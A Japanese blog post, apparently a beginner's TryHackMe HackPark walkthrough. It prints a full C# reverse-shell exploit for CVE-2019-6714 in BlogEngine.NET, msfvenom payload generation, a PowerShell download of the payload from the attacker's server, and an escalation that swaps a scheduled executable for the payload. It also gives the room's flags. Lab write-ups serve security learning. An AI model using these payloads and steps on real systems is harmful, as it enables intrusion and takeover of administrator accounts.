【TryHackMe】Metasploitを使用してリバースシェルでWindowsの特権エスカレーションをしてみた!HackPark Writeup Part2 CVE-2019-6714

【TryHackMe】Metasploitを使用してリバースシェルでWindowsの特権エスカレーションをしてみた!HackPark Writeup Part2
  • URLをコピーしました!

今回は、Metasploitを使用してWindowsの特権エスカレーションまでやってみようと思います。

「TryHackMe-HackPark:https://tryhackme.com/room/hackpark

解説は、ネタバレになりますので、注意してください。

目次

事前準備

こちらの記事は、Part2になっており、BlogEngineにアクセスできている状態である必要があります。
もし、まだBlogEngineにアクセスできていない場合は、Part1である「Hydraを使用してブルートフォース攻撃をしてみた!」を試してみてください。

この画面にアクセスできているところから説明に入ります。

Public Exploitを実行して、ターゲットにアクセス

それでは、実際にターゲットマシンをハッキングしてみましょう!
まずは、Public Exploitを特定し実行して、アクセスする方法を試していきます。

BlogEngineのバージョンを確認

まずは、BlogEngineのバージョンを確認しておきましょう。

ABOUT>versionを確認してみると「3.3.6.0」と分かりますね。

TryHackMeの問題に、答えておきましょう。無事正解になりました。

BlogEngine3.3.6.0の脆弱性を見つける

特定のフレームワークの脆弱性を見つける方法は、2種類存在します。

  • searchsploit を使用して既知の脆弱性を検索する
    ⇒ExproitDBのコマンドライン検索ツールなので、下記と実質的には同じですね。
  • exploit-dbを使用する

せっかくなので、どっちも検索をかけてみましょう!

searchsploitで検索をすると、こんな感じヒットします。

$ searchsploit blogengine
------------------------------------------- ---------------------------------
 Exploit Title                             |  Path
------------------------------------------- ---------------------------------
BlogEngine 3.3 - 'syndication.axd' XML Ext | xml/webapps/48422.txt
BlogEngine 3.3 - XML External Entity Injec | windows/webapps/46106.txt
BlogEngine 3.3.8 - 'Content' Stored XSS    | aspx/webapps/48999.txt
BlogEngine.NET 1.4 - 'search.aspx' Cross-S | asp/webapps/32874.txt
BlogEngine.NET 1.6 - Directory Traversal / | asp/webapps/35168.txt
BlogEngine.NET 3.3.6 - Directory Traversal | aspx/webapps/46353.cs
BlogEngine.NET 3.3.6/3.3.7 - 'dirPath' Dir | aspx/webapps/47010.py
BlogEngine.NET 3.3.6/3.3.7 - 'path' Direct | aspx/webapps/47035.py
BlogEngine.NET 3.3.6/3.3.7 - 'theme Cookie | aspx/webapps/47011.py
BlogEngine.NET 3.3.6/3.3.7 - XML External  | aspx/webapps/47014.py
------------------------------------------- ---------------------------------
Shellcodes: No Results

ExploitDBで検索をかけても、同じ内容が確認できました。

今回は、リバースシェルと記載があるので、リモートコード系が対象ですかね。
このなかで、CVEが振られているのはVerifyにチェックがあるのもなので、「CVE-2019-6714」が対象でよさそうです。

リバースシェルとは、「ターゲットマシンから攻撃者マシンに対してシェルを提供する仕組み」のことになります。
通常は、攻撃者マシンからターゲットマシンに接続リクエストを行って、接続を確立します。
しかし、リバースシェルでは、ターゲットマシンから攻撃者マシンに接続をさせ、shellを実行できるリクエストを遅らせることで攻撃をします。
FWは、内から外は弱いということを悪用した攻撃です。

TryHackMeの問題にも回答しておきましょう。

Public Exploitを使用して、ターゲットマシンにアクセス

では、実際に「CVE-2019-6714」をもとにターゲットマシンにアクセスしてみようと思います。
Attackと書かれている部分を確認してみましょう。

  • 攻撃
  • まず、以下のメソッドでTcpClientのアドレスとポートを設定します。
  • 逆引きTCPリスナーが接続を待っている攻撃側ホストに設定します。
  • 次に、このファイルをファイルマネージャーでアップロードします。 現在(3.3.6)のBlogEngineでは、このファイルをアップロードすることができます。
  • BlogEngineの現在のバージョンでは、これは投稿を編集して、ファイルを開くように見えるアイコンをクリックすることによって行われます。
  • ツールバーのファイルを開いているように見えるアイコンをクリックします。 なお、このファイルは
  • PostView.ascxとしてアップロードする必要があります。アップロードされたファイルは、以下の場所にあります。
    アップロードされると、ファイルはドキュメントルートから * /App_Data/files ディレクトリに置かれます。アップロードを許可する管理画面は
  • アップロードを許可する管理ページは以下の通りです。
  • http://10.10.10.10/admin/app/editor/editpost.cshtml
  • 最後に、この脆弱性は、ブログのベース URL にアクセスすることによって引き起こされます。
  • 最後に、脆弱性は、テーマのオーバーライドが指定されたブログのベースURLにアクセスすることによって引き起こされます。
  • http://10.10.10.10/?theme=../../App_Data/files
https://www.exploit-db.com/exploits/46353

まずは、TCPClientのローカルホストアドレスとポートが必要だと言っています。
なので、ifconfigで再度確認しておきましょう。

ローカルポートIPアドレスは、「10.18.110.90」ですね。

EDB-IDが「46353」であることを確認して、

46353.csの場所を確認し、ascxに拡張子を変更してコピーします。

$ locate 46353.cs
/usr/share/exploitdb/exploits/aspx/webapps/46353.cs

$ cp /usr/share/exploitdb/exploits/aspx/webapps/46353.cs ./PostView.ascx

PostView.ascxの、IPアドレス部分を自分のIPアドレスに書き換えます。
ポートは、そのままにしておきます。

$ sudo vi PostView.ascx

$ cat PostView.ascx
# Exploit Title: BlogEngine.NET <= 3.3.6 Directory Traversal RCE
# Date: 02-11-2019
# Exploit Author: Dustin Cobb
# Vendor Homepage: https://github.com/rxtur/BlogEngine.NET/
# Software Link: https://github.com/rxtur/BlogEngine.NET/releases/download/v3.3.6.0/3360.zip
# Version: <= 3.3.6
# Tested on: Windows 2016 Standard / IIS 10.0
# CVE : CVE-2019-6714

/*
 * CVE-2019-6714
 *
 * Path traversal vulnerability leading to remote code execution.  This
 * vulnerability affects BlogEngine.NET versions 3.3.6 and below.  This
 * is caused by an unchecked "theme" parameter that is used to override
 * the default theme for rendering blog pages.  The vulnerable code can
 * be seen in this file:
 *
 * /Custom/Controls/PostList.ascx.cs
 *
 * Attack:
 *
 * First, we set the TcpClient address and port within the method below to
 * our attack host, who has a reverse tcp listener waiting for a connection.
 * Next, we upload this file through the file manager.  In the current (3.3.6)
 * version of BlogEngine, this is done by editing a post and clicking on the
 * icon that looks like an open file in the toolbar.  Note that this file must
 * be uploaded as PostView.ascx. Once uploaded, the file will be in the
 * /App_Data/files directory off of the document root. The admin page that
 * allows upload is:
 *
 * http://10.10.10.10/admin/app/editor/editpost.cshtml
 *
 *
 * Finally, the vulnerability is triggered by accessing the base URL for the
 * blog with a theme override specified like so:
 *
 * http://10.10.10.10/?theme=../../App_Data/files
 *
 */

<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>

<script runat="server">
        static System.IO.StreamWriter streamWriter;

    protected override void OnLoad(EventArgs e) {
        base.OnLoad(e);

        using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.18.110.90", 4445)) {
                using(System.IO.Stream stream = client.GetStream()) {
                        using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
                                streamWriter = new System.IO.StreamWriter(stream);

                                StringBuilder strInput = new StringBuilder();

                                System.Diagnostics.Process p = new System.Diagnostics.Process();
                                p.StartInfo.FileName = "cmd.exe";
                                p.StartInfo.CreateNoWindow = true;
                                p.StartInfo.UseShellExecute = false;
                                p.StartInfo.RedirectStandardOutput = true;
                                p.StartInfo.RedirectStandardInput = true;
                                p.StartInfo.RedirectStandardError = true;
                                p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
                                p.Start();
                                p.BeginOutputReadLine();

                                while(true) {
                                        strInput.Append(rdr.ReadLine());
                                        p.StandardInput.WriteLine(strInput);
                                        strInput.Remove(0, strInput.Length);
                                }
                        }
                }
        }
    }

    private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
        StringBuilder strOutput = new StringBuilder();

        if (!String.IsNullOrEmpty(outLine.Data)) {
                try {
                        strOutput.Append(outLine.Data);
                        streamWriter.WriteLine(strOutput);
                        streamWriter.Flush();
                } catch (Exception err) { }
        }
    }

</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>

次に、ブラウザに戻り、任意の記事を選択します。(今回は、1つしかないですが。)

メニュー一番右のファイルマネージャーを開きます。

ここで、先ほど作成したファイルをアップロードします。

netcatを使用して、リスナーします。

$ netcat -nvlp 4445
listening on [any] 4445 ...

「http://hack-park.hkl/?theme=../../App_Data/files」にアクセスします。

$ netcat -nvlp 4445                                                                                                                                 1 ⨯
listening on [any] 4445 ...
connect to [10.18.110.90] from (UNKNOWN) [10.10.26.67] 49553
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

すると、ターゲットマシンから攻撃マシンに接続されるはずです。
ここでwhoamiをして、確認しましょう。

$ netcat -nvlp 4445                                                                                                                                 1 ⨯
listening on [any] 4445 ...
connect to [10.18.110.90] from (UNKNOWN) [10.10.26.67] 49553
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
whoami
c:\windows\system32\inetsrv>whoami
iis apppool\blog

これでリバースシェルができましたね!

Windows権限のエスカレーション

netcatセッションは、不安定なのでmsfvenomを利用して、別のリバースシェルを実行してみましょう。

リバースシェル用exeファイルを生成

攻撃側のマシンで、ターゲットマシンで実行するリバースシェル用exeファイルを生成します。

※攻撃マシン
$ sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.18.110.90 LPORT=4446 -f exe > ./reverse.exe                                               1 ⨯
[sudo] hacklab のパスワード:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes

ここでPythonを利用して、簡易なHTTPサーバーを起動しましょう。

※攻撃マシン
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.108.70 - - [12/Feb/2023 14:42:20] "GET /reverse.exe HTTP/1.1" 200 -
10.10.108.70 - - [12/Feb/2023 14:43:53] "GET /reverse.exe HTTP/1.1" 200 -

ターゲットマシンを操作して、攻撃マシンからリバースシェルを取得する。

ターゲットマシンで、exeファイルを取得

次は、ターゲットマシンから先ほどPythonで起動した簡易のHTTPサーバー経由で、リバースシェル用exeファイルを取得します。

※ターゲットマシン
※netcat続き
powershell -c "Invoke-WebRequest -Uri 'http://10.10.155.62:8000/reverse.exe' -OutFile 'C:\Windows\Temp\reverse_shell.exe'"
C:\Windows\Temp>powershell -c "Invoke-WebRequest -Uri 'http://10.10.155.62:8000/reverse.exe' -OutFile 'C:\Windows\Temp\reverse_shell.exe'"

攻撃マシン側で、msfconsoleで設定

msfconsoleでリバースシェルの設定をして、runで待ち受けます。

root@ip-10-10-155-62:~/hackpark# msfconsole

msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.155.62
LHOST => 10.10.155.62
msf5 exploit(multi/handler) > set LPORT 4446
LPORT => 4446
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.155.62:4446 

リバースシェルを実行

準備ができたら、ターゲットマシンで、reverse_shell.exeを実行します。

※ターゲットマシン
.\reverse_shell.exe
C:\Windows\Temp>.\reverse_shell.exe

すると、攻撃マシン側のmeterpreterで接続が成功します。
ここで、sysinfoを実行し、マシン情報を確認しましょう。

※攻撃マシン続き
[*] Started reverse TCP handler on 10.10.155.62:4446 
[*] Sending stage (176195 bytes) to 10.10.108.70
[*] Meterpreter session 1 opened (10.10.155.62:4446 -> 10.10.108.70:49276) at 2023-02-12 15:02:36 +0000

meterpreter > sysinfo
Computer        : HACKPARK
OS              : Windows 2012 R2 (6.3 Build 9600).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows

TryHackMeの問題がありますので、回答しておきます。

これで安定したシェルができました。

特権昇格

続いては、「root」または「admin」など特権を持つアカウントに、特権昇格していきます。

winPeasは、Windowsマシン上で悪用できる可能性のあるパスとサービスを見つけるスクリプトになります。
winPeasをターゲットマシンにアップロードして、実行してみましょう。

meterpreter > upload /opt/PEAS/winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.exe
[*] uploading  : /opt/PEAS/winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.exe -> winPEAS.exe
[*] Uploaded 458.00 KiB of 458.00 KiB (100.0%): /opt/PEAS/winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.exe -> winPEAS.exe
[*] uploaded   : /opt/PEAS/winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.exe -> winPEAS.exe
meterpreter > shell
...
C:\Windows\Temp> winPEAS.exe
...
========================================(Services Information)========================================

  [+] Interesting Services -non Microsoft-
   [?] Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
    Amazon EC2Launch(Amazon Web Services, Inc. - Amazon EC2Launch)["C:\Program Files\Amazon\EC2Launch\EC2Launch.exe" service] - Auto - Stopped
    Amazon EC2Launch
   =================================================================================================

    AmazonSSMAgent(Amazon SSM Agent)["C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"] - Auto - Running
    Amazon SSM Agent
   =================================================================================================

    AWSLiteAgent(Amazon Inc. - AWS Lite Guest Agent)[C:\Program Files\Amazon\XenTools\LiteAgent.exe] - Auto - Running - No quotes and Space detected
    AWS Lite Guest Agent
   =================================================================================================

    Ec2Config(Amazon Web Services, Inc. - Ec2Config)["C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe"] - Auto - Running - isDotNet
    Ec2 Configuration Service
   =================================================================================================

    PsShutdownSvc(Systems Internals - PsShutdown)[C:\Windows\PSSDNSVC.EXE] - Manual - Stopped
   =================================================================================================

    WindowsScheduler(Splinterware Software Solutions - System Scheduler Service)[C:\PROGRA~2\SYSTEM~1\WService.exe] - Auto - Running
    File Permissions: Everyone [WriteData/CreateFiles]
    Possible DLL Hijacking in binary folder: C:\Program Files (x86)\SystemScheduler (Everyone [WriteData/CreateFiles])
    System Scheduler Service Wrapper
   =================================================================================================


  [+] Modifiable Services
   [?] Check if you can modify any service https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
    You cannot modify any service

  [+] Looking if you can modify any service registry
   [?] Check if you can modify the registry of a service https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services-registry-permissions
    [-] Looks like you cannot change the registry of any service...

  [+] Checking write permissions in PATH folders (DLL Hijacking)
   [?] Check for DLL Hijacking in PATH folders https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking
    C:\Windows\system32
    C:\Windows
    C:\Windows\System32\Wbem
    C:\Windows\System32\WindowsPowerShell\v1.0\


  ====================================(Applications Information)====================================

  [+] Current Active Window Application
System.NullReferenceException: Object reference not set to an instance of an object.
   at winPEAS.MyUtils.GetPermissionsFile(String path, Dictionary`2 SIDs)
   at winPEAS.Program.<PrintInfoApplications>g__PrintActiveWindow|44_0()

  [+] Autorun Applications
   [?] Check if you can modify other users AutoRuns binaries (Note that is normal that you can modify HKCU registry and binaries indicated there) https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries
System.IO.DirectoryNotFoundException: Could not find a part of the path 'C:\Windows\Temp\%appdata%\Microsoft\Windows\Start Menu\Programs\Startup'.
   at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
   at System.IO.FileSystemEnumerableIterator`1.CommonInit()
   at System.IO.FileSystemEnumerableIterator`1..ctor(String path, String originalUserPath, String searchPattern, SearchOption searchOption, SearchResultHandler`1 resultHandler, Boolean checkHost)
   at System.IO.Directory.InternalGetFileDirectoryNames(String path, String userPathOriginal, String searchPattern, Boolean includeFiles, Boolean includeDirs, SearchOption searchOption, Boolean checkHost)
   at System.IO.Directory.InternalGetFiles(String path, String searchPattern, SearchOption searchOption)
   at winPEAS.ApplicationInfo.GetAutoRunsFolder()
   at winPEAS.ApplicationInfo.GetAutoRuns(Dictionary`2 NtAccountNames)
   at winPEAS.Program.<PrintInfoApplications>g__PrintAutoRuns|44_2()

  [+] Scheduled Applications --Non Microsoft--
   [?] Check if you can modify other users scheduled binaries https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries
    (The major version number of the operating system.) CleanupOldPerfLogs: C:\Windows\system32\cscript.exe /B /nologo C:\Windows\system32\calluxxprovider.vbs $(Arg0) $(Arg1) $(Arg2)
    
   =================================================================================================

    ($(@%SystemRoot%\system32\tzsyncres.dll,-101)) SynchronizeTimeZone: C:\Windows\system32\tzsync.exe 
   =================================================================================================
...

このうち、悪用できるサービスは、WindowsSchedulerになります。
これは、Splinterware のソリューションだとのことですね。

WindowsScheduler(Splinterware Software Solutions - System Scheduler Service)[C:\PROGRA~2\SYSTEM~1\WService.exe] - Auto - Running
    File Permissions: Everyone [WriteData/CreateFiles]
    Possible DLL Hijacking in binary folder: C:\Program Files (x86)\SystemScheduler (Everyone [WriteData/CreateFiles])
    System Scheduler Service Wrapper

とりあえず、TryHackMeの問題に回答しておきましょう。

Splinterwareが開発していることがわかったので、脆弱性を検索してみます。

$ searchsploit splinterware                                                                          
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                          |  Path
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Splinterware System Scheduler Pro 5.12 - Buffer Overflow (SEH)                                                          | windows/local/45071.py
Splinterware System Scheduler Pro 5.12 - Privilege Escalation                                                           | windows/local/45072.txt
------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

「searchsploit -x」を利用して詳しくみていきます。
今回は、この手順に従って特権昇格をしてみます。

$ searchsploit -x 45072
...
# Proof of Concept
1. Login as regular user where Splinterware System Scheduler Pro 5.12 and the service are installed
2. Create malicious .exe with same name 'wservice.exe' that can connect back to attacking machine
3. Download malicious .exe on victim machine, and setup listener on attacking machine
4. Rename original wservice.exe file to wservice.bak, and copy malicious file to location of original
5. wait short amount of time and check attacking machine listener
6. connection back from victim machine successful, run whoami

1. Splinterware System Scheduler Pro 5.12 とサービスがインストールされている一般ユーザーでログインします。
2. 攻撃側マシンに接続できる同名の悪意のある.exe(wservice.exe)を作成する。
 ⇒reverse.exeで作っているので、mv時にリネーム
3. 被害者マシンで悪意のある.exeをダウンロードし、攻撃者マシンでリスナーをセットアップする。
 ⇒ダウンロード済み、セットアップ済み(再起動かける)
4. 元のwservice.exeファイルをwservice.bakにリネームし、悪意のあるファイルを元のファイルの場所にコピーします。
5. しばらく待って、攻撃側マシンのリスナーを確認する。
6. 被害者マシンからの接続が成功したら、whoamiを実行する。

対象のサービスを確認しておきます。

exproit-shell
C:\Windows\Temp>tasklist /svc | findstr WindowsScheduler
tasklist /svc | findstr WindowsScheduler
WService.exe                  1424 WindowsScheduler 

ただし、このWService.exeが答えではありません。
SystemScheduler ディレクトリで、Events に移動し、ログ ファイルを読みます。

C:\Program Files (x86)\SystemScheduler>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0E97-C552

 Directory of C:\Program Files (x86)\SystemScheduler

08/04/2019  03:37 AM    <DIR>          .
08/04/2019  03:37 AM    <DIR>          ..
05/17/2007  12:47 PM             1,150 alarmclock.ico
08/31/2003  11:06 AM               766 clock.ico
08/31/2003  11:06 AM            80,856 ding.wav
02/12/2023  07:56 AM    <DIR>          Events
08/04/2019  03:36 AM                60 Forum.url
01/08/2009  07:21 PM         1,637,972 libeay32.dll
11/15/2004  11:16 PM             9,813 License.txt
02/12/2023  06:15 AM             1,496 LogFile.txt
02/12/2023  06:16 AM             3,760 LogfileAdvanced.txt
03/25/2018  09:58 AM           536,992 Message.exe
03/25/2018  09:59 AM           445,344 PlaySound.exe
03/25/2018  09:58 AM            27,040 PlayWAV.exe
08/04/2019  02:05 PM               149 Preferences.ini
03/25/2018  09:58 AM           485,792 Privilege.exe
03/24/2018  11:09 AM            10,100 ReadMe.txt
03/25/2018  09:58 AM           112,544 RunNow.exe
03/25/2018  09:59 AM            40,352 sc32.exe
08/31/2003  11:06 AM               766 schedule.ico
03/25/2018  09:58 AM         1,633,696 Scheduler.exe
03/25/2018  09:59 AM           491,936 SendKeysHelper.exe
03/25/2018  09:58 AM           437,664 ShowXY.exe
03/25/2018  09:58 AM           439,712 ShutdownGUI.exe
03/25/2018  09:58 AM           235,936 SSAdmin.exe
03/25/2018  09:58 AM           731,552 SSCmd.exe
01/08/2009  07:12 PM           355,446 ssleay32.dll
03/25/2018  09:58 AM           456,608 SSMail.exe
08/04/2019  03:36 AM             6,999 unins000.dat
08/04/2019  03:36 AM           722,597 unins000.exe
08/04/2019  03:36 AM                54 Website.url
06/26/2009  04:27 PM             6,574 whiteclock.ico
03/25/2018  09:58 AM            76,704 WhoAmI.exe
05/16/2006  03:49 PM           785,042 WSCHEDULER.CHM
05/16/2006  02:58 PM             2,026 WScheduler.cnt
03/25/2018  09:58 AM           331,168 WScheduler.exe
05/16/2006  03:58 PM           703,081 WSCHEDULER.HLP
03/25/2018  09:58 AM           136,096 WSCtrl.exe
03/25/2018  09:58 AM            98,720 WService.exe
03/25/2018  09:58 AM            68,512 WSLogon.exe
03/25/2018  09:59 AM            33,184 WSProc.dll

ログファイルを見ると、Message.exeという一定の間隔で継続的に実行されているサービスがあり、そのサービスには管理者権限がありそうです。これを利用することができます。

C:\Program Files (x86)\SystemScheduler\Events>type 20198415519.INI_LOG.txt
type 20198415519.INI_LOG.txt
08/04/19 15:06:01,Event Started Ok, (Administrator)
08/04/19 15:06:30,Process Ended. PID:2608,ExitCode:1,Message.exe (Administrator)
08/04/19 15:07:00,Event Started Ok, (Administrator)
08/04/19 15:07:34,Process Ended. PID:2680,ExitCode:4,Message.exe (Administrator)
08/04/19 15:08:00,Event Started Ok, (Administrator)
08/04/19 15:08:33,Process Ended. PID:2768,ExitCode:4,Message.exe (Administrator)
08/04/19 15:09:00,Event Started Ok, (Administrator)
08/04/19 15:09:34,Process Ended. PID:3024,ExitCode:4,Message.exe (Administrator)
08/04/19 15:10:00,Event Started Ok, (Administrator)
08/04/19 15:10:33,Process Ended. PID:1556,ExitCode:4,Message.exe (Administrator)
08/04/19 15:11:00,Event Started Ok, (Administrator)
08/04/19 15:11:33,Process Ended. PID:468,ExitCode:4,Message.exe (Administrator)
08/04/19 15:12:00,Event Started Ok, (Administrator)
08/04/19 15:12:33,Process Ended. PID:2244,ExitCode:4,Message.exe (Administrator)
08/04/19 15:13:00,Event Started Ok, (Administrator)
08/04/19 15:13:33,Process Ended. PID:1700,ExitCode:4,Message.exe (Administrator)
08/04/19 16:43:00,Event Started Ok,Can not display reminders while logged out. (SYSTEM_svc)*
08/04/19 16:44:01,Event Started Ok, (Administrator)
...

では、reverse_shellをMessage.exeと入れ替えましょう。

C:\Program Files (x86)\SystemScheduler>move Message.exe Message.bak
move Message.exe Message.bak
        1 file(s) moved.

C:\Program Files (x86)\SystemScheduler>move C:\windows\temp\reverse_shell.exe Message.exe
move C:\windows\temp\reverse_shell.exe Message.exe
        1 file(s) moved.

C:\Program Files (x86)\SystemScheduler>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0E97-C552

 Directory of C:\Program Files (x86)\SystemScheduler

02/12/2023  08:04 AM    <DIR>          .
02/12/2023  08:04 AM    <DIR>          ..
05/17/2007  12:47 PM             1,150 alarmclock.ico
08/31/2003  11:06 AM               766 clock.ico
08/31/2003  11:06 AM            80,856 ding.wav
02/12/2023  08:02 AM    <DIR>          Events
08/04/2019  03:36 AM                60 Forum.url
01/08/2009  07:21 PM         1,637,972 libeay32.dll
11/15/2004  11:16 PM             9,813 License.txt
02/12/2023  06:15 AM             1,496 LogFile.txt
02/12/2023  06:16 AM             3,760 LogfileAdvanced.txt
03/25/2018  09:58 AM           536,992 Message.bak
02/12/2023  07:00 AM            73,802 Message.exe
03/25/2018  09:59 AM           445,344 PlaySound.exe
03/25/2018  09:58 AM            27,040 PlayWAV.exe
08/04/2019  02:05 PM               149 Preferences.ini
03/25/2018  09:58 AM           485,792 Privilege.exe
03/24/2018  11:09 AM            10,100 ReadMe.txt
03/25/2018  09:58 AM           112,544 RunNow.exe
03/25/2018  09:59 AM            40,352 sc32.exe
08/31/2003  11:06 AM               766 schedule.ico
03/25/2018  09:58 AM         1,633,696 Scheduler.exe
03/25/2018  09:59 AM           491,936 SendKeysHelper.exe
03/25/2018  09:58 AM           437,664 ShowXY.exe
03/25/2018  09:58 AM           439,712 ShutdownGUI.exe
03/25/2018  09:58 AM           235,936 SSAdmin.exe
03/25/2018  09:58 AM           731,552 SSCmd.exe
01/08/2009  07:12 PM           355,446 ssleay32.dll
03/25/2018  09:58 AM           456,608 SSMail.exe
08/04/2019  03:36 AM             6,999 unins000.dat
08/04/2019  03:36 AM           722,597 unins000.exe
08/04/2019  03:36 AM                54 Website.url
06/26/2009  04:27 PM             6,574 whiteclock.ico
03/25/2018  09:58 AM            76,704 WhoAmI.exe
05/16/2006  03:49 PM           785,042 WSCHEDULER.CHM
05/16/2006  02:58 PM             2,026 WScheduler.cnt
03/25/2018  09:58 AM           331,168 WScheduler.exe
05/16/2006  03:58 PM           703,081 WSCHEDULER.HLP
03/25/2018  09:58 AM           136,096 WSCtrl.exe
03/25/2018  09:58 AM            98,720 WService.exe
03/25/2018  09:58 AM            68,512 WSLogon.exe
03/25/2018  09:59 AM            33,184 WSProc.dll
              39 File(s)     11,222,061 bytes
               3 Dir(s)  39,129,874,432 bytes free

これでうまくいけば、Message.exeは定期的に実行され、管理者権限のセッションが取得できるはずです。
少し待っておきます。

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.155.62:4446 
[*] Sending stage (176195 bytes) to 10.10.108.70
[*] Meterpreter session 2 opened (10.10.155.62:4446 -> 10.10.108.70:49345) at 2023-02-12 16:06:00 +0000

meterpreter > 

接続に成功しました。
被害者マシンからの接続が成功したら、usernameを見てみましょう。管理者権限(Administrator)になっています。

meterpreter > shell
Process 1948 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\PROGRA~2\SYSTEM~1>echo %username%
echo %username%
Administrator

今回は、そのままフラグを取りに行きましょう。

C:\PROGRA~2\SYSTEM~1>type C:\Users\jeff\Desktop\user.txt
type C:\Users\jeff\Desktop\user.txt
759bd8af507517bcfaede78a21a73e39
C:\PROGRA~2\SYSTEM~1>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
7e13d97f05f7ceb9881a3eb3d78d3e72

これで特権昇格は完了です。

shell_reverse_tcpを利用して、リバースシェルを実行

最後にshell_reverse_tcpを利用したリバースシェルになります。
こちらは、生成するexeファイルが異なるだけなので、詳しい解説はしません。

※攻撃マシン
$ sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.18.110.90 LPORT=4446 -f exe > ./reverse.exe                                               1 ⨯
[sudo] hacklab のパスワード:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes

最後のTryHackMeの問題ですが、winPeasを使っても出てこなかったので、これで代用します。

C:\PROGRA~2\SYSTEM~1>systeminfo | findstr /i date
Original Install Date:        8/3/2019, 10:43:23 AM

まとめ

今回は、TryHackMeのHackParkで、Windowsでの特権エスカレーションを試してみました。
初心者の私からすると、わかったようなわからないような感じです。。。
また、ある程度慣れたらもう一度やってみようかなと思います。

参考文献・サイト

STEFLAN:https://steflan-security.com/tryhackme-hackpark-walkthrough/
Sechuice:https://www.secjuice.com/thm-hack-park/
infosecwriteups.com:https://infosecwriteups.com/tryhackme-writeup-hackpark-bd9c075c5262

よかったらシェアしてね!
  • URLをコピーしました!

この記事を書いた人

情報セキュリティを勉強するために始めたブログです。
新人のため、広い心を持って見ていただけると嬉しく思います。
楽しくプログラミングを勉強するために、「Teech Lab.」もありますので、ソフトウェア開発にも興味があればぜひ覗いて見てください!

目次